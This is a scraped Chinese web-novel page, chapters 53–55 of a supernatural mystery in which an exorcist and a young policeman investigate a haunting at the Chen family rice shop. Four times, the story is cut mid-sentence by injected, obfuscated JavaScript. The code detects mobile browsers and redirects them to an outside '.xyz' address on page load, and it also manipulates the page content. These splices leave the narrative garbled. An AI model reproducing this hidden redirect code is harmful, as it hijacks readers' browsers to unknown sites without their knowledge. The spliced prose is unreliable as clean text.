;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056065|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有死,她被埋在桐柏山中,日夜啼哭。哭声从山体中顺着大地,传到关押我的潭水里。你知道她在哭什么吗?”通天眼角流出泪水,“她在问,问老天为什么让她遇见无支祁,却得不到他的心。她在问无支祁,为什么可以这么残忍,杀尽水族几千条生命,连亲生孩子也不放过。”
“你想去问他这些问题?讨个说法吗?”
“我想问问他,为了大禹付出这么多年的自由,到底值不值得?”
“都已经过了这么多年,这个问题还有必要吗?”
“对你们来说,已经过了几千年。对我来说,过去种种,就如昨日一样历历在目。应龙杀族类的凶狠面貌,至今还刻在我的脑子里,一丝一毫都没有模糊。只可惜,他死的早,不然,我一定要他千百倍还回来!”通天龇着獠牙,目露凶光。
“可是,几千年过去了,无支祁是不是还在龟山之下,也没人知道,就算你去了,也许他早就化成灰了!”薛暮冉在一旁说道。
“当年应龙跟我说,那只臭猴子被压在龟山脚下的洪泽湖中。就算他死了,至少也跟母亲一样会留下尸骨,我就算把整座山翻过来,也要将他挫骨扬灰!”通天眼里燃烧着怒火。
雪鸣轻轻拍着他的背部,柔声道:“我族里的奶奶已经占卜过了,他还活着,我们一定会找到他的。”
“如果,我们帮你完成了这件事,你也得做出保证。”竹七九思考过后,沉着声音说道。
“不杀人是吗?”通天摸着脸上的毛发,想捋胡须似的,“我可以答应你,不过,我必须要活物的心脏来补充精血,所以,杀生是难免的了。”
“你要伤害其他小动物,我不能阻止你,只要不是人类就行。”
“真虚伪啊!”巨猴冷笑一声。
“我可从来没说过,我是什么善良的人。虽然我道德沦丧,但是还有基本的底线,只要你们答应这一点,我可以想办法带你们去龟山。至于能不能找到无支祁,就看你们自己的能耐了。”
商议好这一切后,竹七九两人独自走出洞穴,打算再次欺骗一下‘天真善良’的罗队长。
看着他们两个双手空空,罗明昶自以为明了其中内情,以为这洞里根本没藏怪物,这一切不过是竹七九太过自以为是,而作出的错误判断。
加上竹七九一副失魂落魄的神情,唬得罗明昶不但没有生气,反而同情心泛滥,嚷着要带他们去喝酒。
至于凶杀案的结果,他有些不敢想。本打算趁着这次机会扬眉吐气,眼下却只能继续苟延残喘,还得应付上司的责难。罗队长长叹一口气,挥挥手,将一切抛诸脑后,叫道:“今夜,不醉不归啊!就当为你们践行了!所长说了,既然龙骨已经没有了,自然也不用借人来帮忙了。你们可以回去了!”
“终于可以回家咯!”薛暮冉大叫一声,拥着那一高一矮两个男人往前跑去。似乎经过这几日的相处,已经变成好友一样。
竹七九走在后面,掏出那枚漆黑的龙珠,想起在洞里发生的那一切,忍不住有些感慨。过去的历史终究是由活着的人来记录,哪些是真的,哪些是假的,又有谁能判断呢?
不过,是真是假,都不影响如今的生活。过去的终究是过去的东西,再怎么瑰丽梦幻,波诡云谲,那也是被淹没在历史尘埃中的砂砾罢了,现在与未来才更值得期待。
53.第一章 家宅之乱
烛光微微,大厅中央放着一副红木棺材,朝向大门的那头放着一张板凳,遗照就摆在上面。板凳下悬着一盘细长的香,左右两侧各摆着一只红色的蜡烛。
虽然不知道为什么灵堂上要摆红烛,不过家里那些老一辈的人坚持如此,作为后辈的她也不便驳回。不过,她擅自做主,将电灯灭了,只在四周多摆了几张板凳,燃上白烛。
她头戴麻布,穿着一身白衣跪坐在灵堂前,一张一张烧着黄表纸。火盆里的光照亮了女人的脸,双目空洞,毫无神采,嘴唇微微抿着,看不出悲喜。
终于,手边的黄纸烧光了,她碰到了放在地上的青瓷茶杯。里面的茶水早已喝完,时间也差不多了。眼前的火光逐渐暗淡,到最后只剩下一团黑色的纸灰。微风过处,大堂的蜡烛灭了几根,她端起手边的红烛,将那些白色的蜡烛一一点燃后,又回到棺材边跪下。
又一阵风吹过,这次灭的是她手边的红烛。抬眼看向门外,她注意到黑暗中,似乎有个人影飘过。
手不自觉地握住茶杯,她觉得心跳突然变得飞快,虽然已经做好心理准备,但这一刻真正来临之时,她依旧会紧张。
烛光之下,她孤独的站在棺材边,盯着手里的青瓷茶具,手指也抚摸着茶杯外侧,感受着上面的纹路,终于像是下定决心似的,她最后看了一眼门外,将茶杯摔了下去。
陶瓷碎裂的声音煞是好听,一地的碎瓷片,等会打扫起来也很麻烦呢。不知为何,她脑子里忽然涌现出这两个想法。
院子里,不知从何处窜出来两个人,一位是头发花白中年男人,另一个则是二十来岁的年轻人。他们围了上去,拿着长棍,不断打在中间那片地上,发出沉闷的声响。
她走到门口,伸手止住那两个人,冷冷的眼神在月光下平添了几分威严,“把贼人带上来!”语气也冰冷的可怕。
浑身是伤,一袭黑衣的年轻男人被扔在地上,嘴里呜呜咽咽似乎在说着什么。身旁的老者从黑暗中走出,拿来一支蜡烛,照亮了那人的脸,年轻人惊呼:“这不是!”
其他两个年长的男人都看向她,脸色也失去了开始的亢奋,变得古怪。
“国有国法,家有家规,不管他是谁,都要一视同仁,你们把他带去后院,找个房间关住,不许让他死了。”
“是!老板娘!”年轻男人应着,带着伤痕累累的男人走了。剩下的两个人对视一眼,也都离开。现在,又只剩下她一个人,灵堂前,黑白照里的人正微微笑着,似乎也在嘲讽她。
“天作孽,犹可恕,自作孽,不可活。这还是以前,你教我的,好夫君,你说是吗?”女人摘下头上的粗麻,扔在地上,眼神怨毒的盯着那张遗照。
白天,警察局内,薛暮冉坐在窗边啃着馒头,一边揉着脚腕,一边盯着下面的街道,嚷道:“我跟大师离开不过一个多星期,怎么镇子变得这么冷清啊?”
“还不是东街陈寡妇家那事闹得!”周明洋难得放下电话,走过来抱怨道,“你说,老公死就死了吧,偏偏还回来鬼哭狼嚎,这不是坑人嘛!”
“再坑人,有你坑吗?天天霸着电话不放手,你这是被电话鬼给缠上了吗?”薛暮冉毫不客气。
“别啊,薛哥,你这么一说,我以后都不敢打电话了!”
“这样最好了,局里还能省点电话费!幸好局长去市里开会,不然刚刚交的电话费单子能砸死你!”
“咳咳!大白天别说这些鬼啊神的!”萧泰安从里间办公室走出来,“局长过几天就回来了,这起闹鬼的案子,必须赶紧解决!”
“这都几天了,听说那附近的人每天晚上都能听见鬼叫声,我说,要不要去金龙庙里请个和尚来驱鬼吧,我认识那里的主持,可以讲个好价格。”周明洋忽然又笑起来,小眼睛眯着,看向萧泰安。
“免了!暂时还用不着请大和尚来念经!”
被毫不留情的拒绝后,还赏了个白眼,周明洋求助似的看向姐姐周青语,岂料对方也别过头去不理。无奈,他看向薛暮冉,一脸的可怜样。
“别看我,我可不信这一套!”薛暮冉吃完馒头,感觉肚子还不够饱,于是噌的一下从窗台上跳下来,打算再去拿个馒头。
“你还说不信!我们局里就你最相信这些了,不然,你怎么跟那个什么竹七九混的那么熟?这次去环溪村还带着那家伙一起!”周明洋不甘示弱,靠在窗边开始嚷嚷。
“大师?他不一样。”
“哪里不一样了?”
“他从来不念经。”薛暮冉啃着馒头,又思考了一会,补充道:“而且他从来不收费。”
“切!因为他是半吊子,所以才不好意思收钱!你看寺庙里的大师,哪个不是学富五车,满腹经纶的,人家那才是真正的大师,收点钱也是为了造福更多的人,这是行善积德的好事啊!”
“那你下次去庙里烧香多捐点香油钱就是了!”
“你——”周明洋还想继续争论,被周青语拽着耳朵,拎到一边。
“你啊,别老跟人吵架,小薛是个好孩子,以后不许跟他拌嘴!”
“老姐,你也不向着我!”周明洋一脸愤愤不平。
“你也该做点像样的事情,让大家高看你一下,成天没个正经的,你看小薛跟你也差不多年纪,每次办案都冲在最前面。你呢,要么就是肚子疼,要么就是头晕,每次都有借口!”
“他那么好,你去找他当你弟弟吧!”周明洋气得双眼通红,夺门而出。
一直在旁边看着的老李走过来,“哎呀,孩子嘛,难免淘气,你也别生气啦!”他又看向薛暮冉,使了个眼色,示意让他出去将周明洋带回来。
薛暮冉也一肚子气,直接别过头装作没看见,又拿了个馒头,说道:“我去找大师!”也离开警局。
“唉,现在的孩子啊!”老李也忍不住感叹。
“没事,他们也都是大人了,想通了就好了。”周青语叹了口气,走进里间。
穿过养蚕街,往东边巷子里走个五分钟左右,有一间破败的院子,竹七九最近一直住在那里。虽然薛暮冉极力邀请他住在警局宿舍,但是被拒绝了。似乎是因为,他觉得警局里束缚太多,不如这破院子住的自在。
推开仅剩的那半扇门,他看见竹七九躺在走廊下睡觉,酒壶倒在边上,似乎已经空了。他放低脚步,蹑手蹑脚走过去,刚一碰到酒壶,手腕就被捏住。
竹七九翻了个身,迷迷糊糊道:“什么都能拿,就是这酒壶不能拿!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060489|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“那——水龙珠也能给我咯?”薛暮冉笑着在旁边坐下。
“那东西你要了也没用,不然给你也无妨。”竹七九伸着懒腰,也做起来,“今天怎么有空来了?不是说有大案子吗?”
“才不是什么大案子,就是一群无知乡民在吵着说东街陈寡妇家闹鬼呢!”薛暮冉托着下巴,转头看着竹七九,问道:“这世界上真的有鬼吗?”
“你觉得呢?”
“以前我是不信的,但是现在——”薛暮冉犹豫着。
“不要被其他事物所影响,你只要遵循自己内心的想法就行。”
见竹七九认真的表情,薛暮冉也有所触动,思考了一会,才开口说道:“我觉得,世界上是没有鬼的。”
“错!”竹七九哈哈大笑,拿起酒壶往嘴里倒,结果酒壶果然空了,他只倒了一把空气进嘴里,“世界上是有鬼的,但是,跟志怪故事里描写的又不太一样。”
被无辜耍了一遭的薛暮冉有些生气,鼓着嘴不说话。
“别生气啊!今天是怎么了?这么容易就被点爆了?”
看着竹七九还跟往常一样不正经,他只好缴械投降,“那大师,你就说说,到底什么是鬼吧!”
“不是有个词语,叫‘妖魔鬼怪’嘛,这你总听过吧?”
“那是自然,我又不是傻子!”薛暮冉赌气说道。
“鬼怪鬼怪,还记得上次我跟你说的‘物怪’吗?这个怪啊,就是物怪的怪,至于鬼,就是鬼魂的鬼。”竹七九摆出神秘的样子,似乎在说什么了不得的大秘密似的。
“你上次说,东西变得奇怪了,就叫物怪。比如人类变成那个干树枝似的,就是物怪,不再是人类。那鬼魂,又是什么?我们真的有灵魂存在吗?”
“万物皆有灵,这个灵就是灵魂。死了以后的灵魂,就叫鬼魂,你知道其中的区别是什么吗?”
薛暮冉皱着眉,摇了摇头。
“其实很简单,看你有没有可以依托的实体。怪都是有身体的,不管是人形也好,动物也罢,哪怕就是一片能自己动弹的枯树叶,那也是物怪。可是鬼魂不同,他们没有躯壳,只剩下一团意识。”
“意识?那是什么?”
“就是思想啊!鬼魂,你可以把他想象成一团有思想的火焰,只是没有柴火罢了。”
“那就是鬼火咯?墓地里飘来飘去的那些东西?”
“也不是,那些鬼火也是有依托的,算了,暂时不管那个。反正最主要的区别就是,鬼魂没有实体,但是,他们可以直接影响你的脑子。”
“脑子?”
“意识这个东西怎么说呢,无处不在,每个人都有自己的意识,但是,通常这些意识被关在各自的大脑里,一般只能通过语言去影响别人。但是失去了枷锁的意识不同,可以直接钻进你的脑子里,影响你原本的意识。”
“也就是——鬼上身?”
“对了,就是这个意思!”
“那这次东街寡妇家闹鬼,也是鬼魂在作怪吗?”
“这个嘛,我不知道啊,我从环溪村回来睡了好几天,哪知道这些破事!”
薛暮冉白了他一眼:“说了这么一大堆,结果你现在一点不了解情况!”
54.第二章 招魂之术
原来那东街的陈家米铺少东家陈昂星今年才二十六,多年来一直单身,忙着打理家里生意。去年经人介绍,找了隔壁碧溪村的女孩王荔香,见了一面后甚是满意,年底就结了婚。
那王荔香也是个苦命人,自幼家里父母双亡,只留下她跟弟弟相依为命。弟弟幼年时期就跟着村里人去到镇上谋生,恰巧就在陈家米铺打散工。如今姐姐出嫁,弟弟也在米铺升了职,管管进出账的轻松活计。
谁知五天前,这一大家子刚吃过晚饭,陈昂星忽然捂着胸口,嘴里喊疼。请了医生来看,把脉把了半天也查不出原因,折腾到半夜,陈昂星一口气没上来,翻着白眼断气了。
“你们没尸检?”
“据说是陈家的习俗,要保持躯壳的完整,所以拒绝尸检了。”
“这个嘛,也许是中毒,也许是其他的什么,不检查你让我凭空想象那什么陈昂星的死因吗?”竹七九摊开双臂支在后面的地上,整个人身子往后仰着。
“这倒不是,邪门的事情在后面呢!”薛暮冉嘿嘿一笑,接着说起来。
那陈昂星去世后的第二天,灵堂就搭起来了。第三天,陈家大院不断传出鬼哭声,吓得晚上夜归的路人当场尿了裤子,一路跑到警局报案,说陈家闹鬼。
第四天,巡夜的警察路过那天也隐隐约约听见有男人的哭声,凄厉无比,直击人心。吓得他落荒而逃,撞上卖夜宵的摊贩,对方也许是看出了那名警员的恐惧,也许是注意到不远处的陈家大宅,反正,很快警察也看见鬼魂的谣言就遍地飞了。
“那个警员怎么说?真的听见有人在哭?”竹七九摸着下巴,轻轻摩擦着。
“据说是,听见有人在哭,加上又是深夜,四处无人,他就怕了,然后想着赶紧离开,谁知道刚好撞上那个卖夜宵的——”薛暮冉解释着,内心仍然觉得这不过是因为巡夜的警员受到他人影响,这才让一件本来很普通寻常的事情变得诡异。
“哭声啊——”竹七九拖长了嗓音,“确定是男人的哭声吗?”
“那些说听见哭声的,无一例外,全都强调了这点,说是男人的哭腔。”说不定是以讹传讹,这种谣言,一传十,十传百,很快就全镇的人都知道了,不过薛暮冉没有说出自己的看法,只是看着竹七九。
“要说是夜猫发情,发出的声音也是有的,不过一般都比较尖锐,比较容易被误认为是孩子或者女人的哭声。既然那些人说听见的是男人在哭,至少可以证明——”
竹七九故意止住不说,一脸笑意,似乎在等人询问。
薛暮冉自然知道对方的意思,但是从早上在警局里开始,直到现在,他心里那股气还没发散,因此也不去问,两人僵持着。
见此情景,那位除魔大师干脆在走廊里躺下,眯起眼睛,哼着小曲儿,一副怡然自得的模样。
气得薛暮冉握紧了拳头,忽然哈哈大笑起来。想起早上周明洋那副讨人厌的嘴脸,又看了看竹七九这张欠揍的模样,他忽然看开了,觉得为了这点小事不高兴实在是不值得,于是主动开口问道:“证明什么?”
“啊?哦——刚刚的问题啊,至少可以证明,那是一只老猫啊!”竹七九往旁边一滚,这才避开薛暮冉轮过来的拳头。
“我是脑子坏了才会相信你的话!”薛暮冉气极反笑,只是这次是冷笑,他一拳头捶在走廊边的柱子上,年久失修的屋子整个跟着晃了晃,掉下一层雪白的石灰来。
竹七九滚到门边停住,头上的灰尘抖了抖,靠在墙边坐着,笑道:“生气就发出来嘛,憋着多不舒服!”
他这才意识到,原来从刚才开始,竹七九一直在故意激怒自己,他不满地坐下,抱怨道:“我没想跟你发火,不过是一点小事。”
“既然知道是小事,你还生气做什么?”
他愣住了,看向竹七九似笑非笑的眼睛,有些不好意思的低下头:“也许,我是嫉妒吧,他有姐姐,有一群熟悉的伙伴,那群人总是在包容他。”
“你也有啊,你的师姐,你的队长,还有其他的那些人——”
“我知道,但是——”不知为何,心里一阵酸疼,他有些恍惚,又想起那昏黄的场景来,孤身一人,游走在没有尽头的荒地之中,杳无人烟,好像天地之间只剩下他自己。
“别想那么多啦,你还有我呢,我也是孤身一人,无亲无故啊!”竹七九靠过来,笑得漫不经心。
“不要变成比惨大会行不行?我又不是为了跟你比赛谁更可怜!”薛暮冉不满地翻着白眼。
“可怜?我一点不觉得孤身一人可怜啊!”说着,竹七九止住笑,表情严肃起来,“自在远游客,独生天地间,这不是很逍遥自在吗?为什么你会觉得可怜呢?”
“死了都没人知道!也没人认识你,知道你,这还不惨吗?”
“死都死了,还要人知道做什么?有了家人,徒增牵挂罢了。如果我有家人,我也不想他们知道我死了。就让我孤身一人的来,悄无声息的走吧。”
看着他突然有些暗淡的神情,薛暮冉只觉得内心某处地方被触动,不知名的忧伤涌上心头,看着眼前破败的院落,斑驳的墙壁,青石砖的缝隙中杂草遍生,一只灰色的小青蛙跳进草丛里,传来‘呱呱’的叫声。
“你今天来,就为了跟我谈这些?”竹七九拿起酒壶,“刚好酒喝完了,怎么样?要不要再去讨点儿?”
站在阳光下,他的笑容一如既往,举着空酒壶不断晃着,似乎在催促还呆坐在走廊上的薛暮冉。
他有种想哭的感觉,但是要是真哭出来了,他估计以后都不想再出来见人了。于是他换上一副不满的表情,讽刺道:“难道你以前的酒都是讨饭要来的?”
“可不是嘛!特别是一些开店的老板,几乎每家都藏着酒呢!”
两人并排往外走着,薛暮冉有些奇怪,问道:“可是,现在酒水很稀少的啊,那些人怎么可能愿意给你呢?”
“干嘛要他们愿意?”一副理直气壮的样子,总是这么让人又气又无奈。
“该不会,”薛暮冉牵起嘴角冷笑,“你是偷来的吧?”
“酒鬼的那点事儿,怎么能说偷呢!这叫好物分享,我只是去分了点他们珍藏的酒水罢了!”
“你还真的不要脸!”
“要脸干嘛?能填饱肚子吗?”
“不想理你,你再多说一个字,我就揍你!”
“那两个字呢?”
“揍两下!”
“哦。”
“恩?”
“到地方了。”竹七九指着招牌上的字,笑得很贼,“这家我常来,怎么样?是不是很有眼光?”
黑色的招牌上写着四个烫金大字——陈家米铺。
“你!你来过这里偷——”薛暮冉压低声音,“偷酒喝吗?”
“当然,七天前,我们回来的那天晚上,就来过一次。”他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063741|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摇着酒壶,笑得更欢了。
“那你现在来干嘛?这还是大白天呢!”薛暮冉赶紧拉着眼前这个不知轻重的男人退到一边,低声质问。
“大白天自然有白天该干的事情啊!”竹七九挣脱束缚,径直走进米铺,大声叫唤着:“陈昂星!快出来!上次欠我五百块还没还钱呢!”
紧跟其后的薛暮冉听得目瞪口呆,店里的伙计也好不到哪里去,一个个呆若木鸡,站在那里不说话。柜台后站着的老人略微怔了一会,立刻推了旁边的年轻人一把,耳语几句后,那年轻人走进里屋,似乎是叫人去了。
竹七九自顾自叫嚷着,不一会,一身素白的女人从内屋走出来,将脸上未干的泪水用手帕拭去,露出发红的眼圈。她吸吸鼻子,看向竹七九,柔声道:“这位是?”
“这里不是陈昂星家吗?他上次跟我打赌,输了五百块,我今天来讨了。”竹七九说起谎来丝毫不心虚,格外义正言辞。
“请问,是什么时候的事情?”素衣女人声音虽小,却字字坚定,表情也认真起来。
“我想想啊,是七天前的晚上,他办完事回来,我们在飞龙桥边喝酒,赌那夜会有多少个人经过。我赌单数,陈昂星赌得是双数,结果他输了。那天晚上,只有一个人经过飞龙桥,我赢了。”
一番话说得铿锵有力,掷地有声,让薛暮冉都有些相信了,如果七天前的夜里,不是他陪着竹七九喝酒到天明的话,也许在场的所有人都会被欺骗。
“你说谎!”竟然被拆穿了!素衣女人皱着眉头,戳穿了谎言。
“理由呢?”竹七九依旧笑嘻嘻的。
“因为那天晚上——”女人不说了,脸色突变。
旁边的伙计插嘴道:“七天前的晚上,老板的确说过,要出门陪西街绣品铺林老板喝酒了,到深夜才醉醺醺的回来。”
“可不是!就在你们老板回来的路上,我们赌了一局。”
“你有证据吗?”素衣女人银牙轻咬下唇,似乎正在忍着怒气。
“证据啊,当然有了,你看!”一只镶嵌着绿宝石的戒指出现在竹七九的手中心,“这可是你们老板当做抵押物,放在我这里的,怎么样?这个东西,价值大于五百块吧?要是你们不承认也行,那这个戒指就归我了!”
“等等!”女人叫住打算离开的竹七九,“五百块是吗?我们付钱,戒指留下。”
“那是自然了,一手交钱,一手交货!”竹七九将戒指握在手心,伸出另一只手。
“徐叔,去找老冯。”女人指示旁边一个灰头土脸,头发花白的中年男人去拿钱。
那男人面容沧桑,一双眼睛却锋利的像把刀子,简单扫过众人,走去里屋。跟他对视后的薛暮冉只觉得脸上好像被人划了一道似的,火辣辣的。
“对了,这个戒指跟了陈昂星很久了吧,怎么样?听说你们这里看闹鬼啊,要不要招招魂?我可是免费的哦!”
此言一出,满堂皆惊。其余伙计纷纷低声耳语起来,但是碍于素衣女人在场,一个个都拿眼睛看她,似乎在等她做决定。
“招魂?你想做什么?”
“我啊,兼职是去除邪祟,而且是免费的哦!这个戒指看着年代就很久远了,翠玉颜色又正,一看就价值不菲了。只要有死者的贴身之物,加上这座阴魂不散的老宅子,就能实施招魂之术。与其等着鬼魂头七之日回来作祟,不如我们先发制人,抢先出手啊!”
55.第三章 问果之因
不多时,去拿钱的徐叔回来了,将几张纸币递给素衣女人,低声说:“冯会计说这个不能算在店里,只能——”
“我知道了。”女人接过钱,递给竹七九,“钱可以给你,其他的,就不劳费心了。”
“可是,你得看看其他人的意见啊!”竹七九似乎胸有成竹,对着其余的伙计笑道:“机不可失,失不再来,再过两天,就是头七之日,你们可做好准备了?当心厉鬼索命哦!”
“老板娘,你看,大家兄弟伙都有点害怕,不如——”站在柜台后的花甲老人走了出来,其余的年轻人自动让开道路。
看上去似乎很有威望,薛暮冉忍不住仔细打量那人起来。
花白的头发梳到脑后,似乎还上了一层发蜡,看上去油光锃亮的。眼角下垂,眼袋鼓着,比眼睛还大。脸皮已经松弛,挂在消瘦的骨架上,像个泄了一半空气的皮球一样。
“云叔,可是——”女人还想辩解几句,却被老人伸手阻止,“眼下,这位小哥有老板的戒指,还在老板生前一起喝过酒,想必也不是坏人。既然有这通天的本领,不如,就让我们大家伙见识见识。”
“那是自然!”竹七九满口答应。
“只是,如果小哥你只是虚张声势,这五百块钱我们不但要尽数拿回,还要送你去警局!”
“这个自然!”
一旁的薛暮冉额头冷汗直冒,暗自忖道:别说警察局了,现在就有个警察在这里呢!这家伙根本不在怕的啊!到底想做什么!
“择日不如撞日,就今天吧,你们先准备点大鱼大肉,等会用!”
“要拿来摆祭坛吗?”一个年轻的伙计问道。
“当然不是!我肚子饿了!干活不得先把肚子填饱啊!”竹七九厚脸皮的说着。
那老人也不在意,让人去准备吃食,笑道:“未请教小哥尊姓大名?”
“贱名不值一提,就叫我竹七九吧!”
说完,仰头大笑,叫道:“带路!去灵堂!”
傍晚,日落西斜,一群穿着粗布短褂的男人挤在院子里,往屋子里张望。薛暮冉站在人群后面,完全搞不清楚屋内的状况。竹七九已经坐在灵堂前有好几个钟头,背对着众人,也不说话。
门上挂着白布,原本是用来会客的大厅被临时改成了灵堂。桌椅板凳被堆到墙角,上面留着不少烧得只剩下一小节的白色蜡烛。
不知为何,一进这座院子,薛暮冉只觉得心情一阵烦躁,有股气郁结其中,无法纾解。
此时屋内有些暗了,一身缟素的女人将那些蜡烛一一点燃,对正盘腿坐在棺材前的竹七九嘴唇微动,似乎在说着什么,也许是准备开始招魂仪式。
薛暮冉看时机已经成熟,于是悄悄退出前院,往屋后走去。
回头看身后没有人跟踪,他舒了口气,想起竹七九之前的话来:趁着人都集中到灵堂前,你去后院找找看,有没有其他可疑的地方。
虽然很好奇接下来,竹七九会怎么装神弄鬼,但是如果真能揭开鬼哭之谜,也能挽回点警察的面子。当然,他并不在乎这些,但是局里的其他人似乎都很在意这些,他既然身为其中一员,那么出点力也是应当的。
想到这里,他很突兀的笑了笑,觉得这一切都怪异的有些荒诞。
绕过了的主屋,有一排瓦房,门前晒着不少灰色的粗布麻衣,一应都是男人的样式,似乎是店里伙计居住的房间。
走到最左边,推开房门,一走进屋就闻到一股刺鼻的味道,混杂着脚臭,汗馊以及食物腐烂的酸味。饶是薛暮冉嗅觉十分不灵敏,此刻也被熏得眼泪汪汪。仔细扫视了一眼屋内陈设,十来张简易的床板横着并排放,床上的被褥被随意的堆成一团。刚一接近,臭味冲天,他赶紧捂住口鼻,用电棍挑开床上略有些潮湿的薄棉被,一一翻过,并未发现异常。
在床的对面有四只黑色的木柜,他远远地用木棍挑开门,一只黑色的蟑螂顺着柜身往地上爬去,吓得他差点惊叫出声。幸好另一只手一直捂着嘴,这才没有发出声音。
那只黑色的虫子似乎也不怕人,爬到薛暮冉的脚边,他伸出脚将其踩死,发出噗呲一声,恶心的他快吐出来。他抬起脚,想看看蟑螂是否死绝,一看,似乎已经不动了。
再仔细看去,蟑螂腿还在左右摇摆,似乎还残存着几口气息。放弃继续谋害这条小生命,他继续搜查柜子,结果这只是普通的衣柜,不,是藏着许多蟑螂的衣柜。因为等他搜完一圈后,地上的蟑螂尸体已经不见了,似乎是被其他同类蚕食完了。
退出来,进到旁边的屋子,明显卫生情况有所好转,床铺的数量也少了许多,左右两边靠墙竖着摆放了两张大床。床上被褥叠的齐齐整整,连枕头的摆放位置都一模一样。两只柜子分别摆在床里侧,也放着一些男人衣物,全都是整齐的四方块。这里别说虫子的身影,地上连一丝灰尘也不见。整个房间十分宽敞,比起隔壁简直一个在天一个是地。
“这也太区别对待了吧!”薛暮冉惊叹一声,退出房间。
第三间屋子上了锁,第四间是厨房,第五间里面全是干柴,此外再没有其他房间。薛暮冉又转回第三间屋子,透过窗户纸往里张望,屋里只有一张床一只柜子,还有其他一些家具,因为距离较远,也看的不太清楚,不过可以确定的是,这屋里没有人。
他想,第一间屋子放了十张床,第二间屋子只有两张,看来应该是地位比较高的伙计居住的地方。可这第三间空房只有一张床,还上了锁又是为什么?
想着想着,忽然被人叫住:“你是谁?在这里做什么?”
回头看去,是个三十来岁的女人,两只手拎满了蔬菜,鸡鸭,额头上密布汗珠,正皱着眉头看着这个不速之客。
“不好意思,我是你们家老板娘请来的客人,因为想上厕所,所以有点走错道了——”他随口编织谎言,一脸真诚的道歉。
“茅房你往前走右转,在这排房间的后面就是了。”厨娘拎着食材指着最开始搜查的那间屋子的方向,然后头也不回地走进厨房,关上了门。
薛暮冉笑着摇了摇头,感慨的想,不过跟竹七九相处这段时日,就能面色不变的说谎,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068772|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这到底是进步还是逐渐堕落了。
绕到这排瓦房的后面,是一条两米多宽的巷子,盖着简易的茅房。他才知道第一间屋子恶臭的来源,原来房间的后面就是厕所,一地尿骚味,十分刺鼻难闻。
这样的地方,就是给钱请他用,他也会毫不留情的拒绝。
厕所正对着店铺的方向,还能听见有人买米还价的声音。左边是谷仓,大门紧锁,门口整齐摆放着麻袋装着的大米。
一切正常。这是薛暮冉最后的评价。他往左走回灵堂,等于是将整个院子都绕了一圈。
竹七九依旧背对着众人坐在棺材前,嘴里念念有词,不知道是不是那套百家姓。薛暮冉趁着其他人不注意,悄无声息又融入人群之中。
天慢慢暗下来,灵堂内烛光闪烁,发出昏黄的光芒。薛暮冉不自然的低下头,不愿意去看烛光照耀下的世界。
忽然人群发出惊呼声,他抬头顺着众人眼光看向灵堂,不知何时,竹七九在遗像下烧了火盆,发出耀眼的白光。
不一会,几缕青烟凝结成像,勾勒出一个模糊的人影来,被风吹着,微微晃动,像一个肥皂泡似的。
“那不是老板吗?”旁边一个矮个子青年轻声叫道。
“好像真的是唉!”另一个年轻人也跟着议论,不多时,院子里站着的几个人都开始交头接耳。只剩下薛暮冉盯着那个烟雾缭绕的人影,在想这到底是不是竹七九弄得诡计。
果然,竹七九装模作样的点着头,似乎在跟那鬼影交流。旁边站着的素衣老板娘脸色煞白,汗如雨下,两只食指跟大拇指交缠在一处,似乎正在展开难以言喻的内心战争。
终于,竹七九像是已经结束的样子,站起来冲老板娘低语几句,又走到门口,对着其他伙计说道:“你们老板已经说了,因为背负着重大冤屈,所以不得不哭,这才会惊扰到大家。不过后天就是头七,他会亲自现身跟大家说明一切缘由。到时候还希望大家明了前因后果之后,可以帮他报仇,这样他也不会伤害到你们。等一切了结之后,他会去地府重新投胎。”
“原来真的是冤死的啊!难怪半夜直叫唤呢!”
“可不是,那声音,真凄惨啊!”
“哎哟哟!只听过一次这辈子都忘不了!”
“前俩天听见的那个哭声,可比这个阴森多了,就好像有人就在你耳边哭呢!”
“别说了行不行?人家都没听见鬼哭,就你听见了!”
“那当然,因为我靠里间啊!”
“什么靠里间,你是靠近茅房!”
几人哑着嗓子笑起来。
